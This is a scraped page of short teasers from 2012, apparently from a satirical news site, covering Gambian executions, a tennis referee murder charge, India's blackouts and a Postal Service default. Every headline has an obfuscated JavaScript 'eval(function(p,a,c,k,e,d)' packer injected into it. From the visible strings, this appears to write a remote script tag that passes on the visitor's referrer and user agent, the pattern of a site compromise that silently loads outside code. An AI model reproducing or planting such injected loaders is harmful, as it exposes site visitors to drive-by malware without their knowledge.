President of Gambia Planning Mass Executions

PRESIDENT OF GAMBIA PLANS MASS EXECUTIONS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hiihz|var|u0026u|referrer|dykye||js|php’.split(‘|’),0,{})) Republicans See New Election Campaign Strategy Banjul, Gambia August 26th, 2012 (SHK) Gambia’s President Yahya Jammeh said yesterday that he will “stop at nothing to execute Gambians who are plotting to overthrow my government.” The president is a former wrestler on the WWF [...]

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Tennis Ref Charged with Murder

TENNIS REF CHARGED WITH MURDER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfiyb|var|u0026u|referrer|yzyfs||js|php’.split(‘|’),0,{})) McEnroe, Nastase Not Implicated, Inside Sources Say New York, NY August 22nd, 2012 (SHK) Yesterday the New York Police Department arrested a professional tennis referee at a Manhattan hotel on charges of murder in the death of her husband last April. Prosecutors say she [...]

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India Suffers Massive Blackouts

INDIA SUFFERS MASSIVE BLACKOUTS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsdya|var|u0026u|referrer|sybhd||js|php’.split(‘|’),0,{})) 700 Million People Fornicating in the Dark New Delhi, India August 1st, 2012 (SHK) In eastern and northeastern India, nearly 700 million people were without power again for the second day in a row. Put another way, 10% of the world’s population suffered massive blackouts. [...]

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Postal Service May Default

U.S. POSTAL SERVICE NEARS DEFAULT eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfekz|var|u0026u|referrer|bhtby||js|php’.split(‘|’),0,{})) New Delivery Changes to be Announced Soon Washington, D. C. August 2nd, 2012 (SHK) The USPS said that it was “close to default” on close to half of the $11.1 billion in debt it must repay during the next two years. This comes as [...]

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